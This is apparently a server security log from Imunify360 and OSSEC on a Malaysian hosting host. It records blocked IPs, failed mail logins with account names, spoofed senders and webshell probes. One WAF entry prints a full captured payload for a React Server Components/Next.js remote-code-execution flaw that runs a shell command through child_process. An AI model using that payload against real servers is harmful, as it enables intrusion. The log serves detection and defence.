IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/routing/Tests/Fixtures/OtherAnnotatedClasses HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.2.218.123
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/routing/Tests/Fixtures/OtherAnnotatedClasses/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.7.149.229
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/maatwebsite/excel/src/Maatwebsite/Excel/Files HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.206.124.36
country_id: 99237
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/maatwebsite/excel/src/Maatwebsite/Excel/Files/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/demos/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:16:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.146.240.123
country_id: 2542007
description:
Jan 27 16:17:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.146.240.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-01-27 16:17:14 dovecot_plain authenticator failed for H=(argening) [154.146.240.123]:56840: 535 Incorrect authentication data (set_id=muhdfauzan@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:17:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:19:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.29.122.195
country_id: 6251999
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-19.82.29.122.195||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 16:20:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:21:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.146.240.123
country_id: 2542007
description:
Jan 27 16:21:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.146.240.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-01-27 16:21:21 dovecot_plain authenticator failed for H=(reflaphoon) [154.146.240.123]:51640: 535 Incorrect authentication data (set_id=adeline@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:23:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 16:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9709: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 16:24:47 H=([104.37.174.67]) [104.37.174.67]:58612 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <hr@cordage.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:25:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 16:26:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15279: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 16:27:01 H=([45.144.212.44]) [45.144.212.44]:62936 F=<ftirado@atom-spain.com> rejected RCPT <sales@cordage.com.my>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.112.126
country_id: 1269750
description:
Jan 27 16:27:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.112.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.112.126
country_id: 1269750
description:
2026-01-27 16:27:20 dovecot_login authenticator failed for H=([27.123.112.126]) [27.123.112.126]:41176: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:27:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:28:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.147.94
country_id: 290557
description:
Jan 27 16:29:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.147.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.147.94
country_id: 290557
description:
2026-01-27 16:29:52 dovecot_plain authenticator failed for H=(relavary) [80.227.147.94]:57911: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:30:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/languages/images/sliders/login.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.17.72
country_id: 2300660
description:
Jan 27 16:31:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.17.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 16:32:22 H=([45.144.212.44]) [45.144.212.44]:65175 F=<ftirado@atom-spain.com> rejected RCPT <info@aire-fresh.com>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 18.218.239.217
country_id: 6252001
domain: www.nexuscollection.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.67||T:APACHE||RA:18.218.239.217||TA:18.218.239.217||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:33:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:34:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.5.198.1
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Caster/FrameStub.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 16:36:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63586: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:36:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:38:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:39:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.38
country_id: 6252001
description:
2026-01-27 16:41:19 823268 [Warning] Aborted connection 823268 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.38' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:41:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.57.17
country_id: 3469034
description:
Jan 27 16:43:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.57.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.151
country_id: 732800
description:
Jan 27 16:43:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.151
country_id: 732800
description:
Jan 27 16:44:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:44:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:45:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:47:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.88.27
country_id: 1861060
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/OPP Tape 1-1-120x120.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.88.27
country_id: 1861060
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/OPP Tape 1-1-120x120.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 16:49:14 H=([104.37.174.67]) [104.37.174.67]:63867 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <info@cordage.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:49:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:50:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 16:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9715: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:52:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 15.237.119.0
country_id: 3017382
domain: mail.eminent.st
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('(whoami) 2>&1 || true',{'timeout':5000}).toString('base64');throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 16:54:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15286: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:55:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.213.24.32
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-56.216.213.24.32||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:56:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:58:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.145
country_id: 732800
description:
Jan 27 17:00:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:00:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.50.219
country_id: 953987
description:
Jan 27 17:00:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.50.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:01:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.50.219
country_id: 953987
description:
Jan 27 17:01:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.50.219 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 117.40.103.119
country_id: 1814991
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/data/common.inc.php.bak||User:pftfood||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 17:03:02 H=([209.50.250.104]) [209.50.250.104]:56068 F=<fyamdfo@ktlog.com.my> rejected RCPT <inquiries@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:03:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 17:04:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63615: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:06:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:07:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.136.123.47
country_id: 1733045
description:
[2026-01-27 17:08:45 +0800] info [webmaild] 175.136.123.47 - roz@af-sb.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 17:09:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:09:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-27 17:10:39 H=([45.144.212.50]) [45.144.212.50]:60836 F=<akotzias@pilotms.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from pilotms.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:11:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:13:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.124.251.29
country_id: 3658394
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=182180 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:15:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 17:16:58 H=([104.37.174.67]) [104.37.174.67]:49428 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <info@pftfood.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:17:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/demos/img/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:18:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 17:20:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9721: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.93
country_id: 1269750
description:
Jan 27 17:20:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:20:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.58.242.72
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-21.172.58.242.72||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 17:22:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15295: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.217.53.11
country_id: 1694008
domain: cordage.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:89239.cordage.com.my||ServerName:cordage.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6ba9c0ab90ab3c3cb30f1dcf813e47e591de1c71||Title:0x85feab16||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:23:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:24:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:26:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:28:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.67.152.201
country_id: 1269750
description:
Jan 27 17:28:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.67.152.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-01-27 17:28:42 dovecot_login authenticator failed for H=([103.67.152.201]) [103.67.152.201]:34918: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 17:28:01 H=([209.50.250.104]) [209.50.250.104]:59967 F=<keolrecu@symphony-led.com> rejected RCPT <enquiry@symphony-led.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 17:29:34 H=([209.50.250.104]) [209.50.250.104]:63359 F=<tztlbw@smartcable.com.my> rejected RCPT <janice@smartcable.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
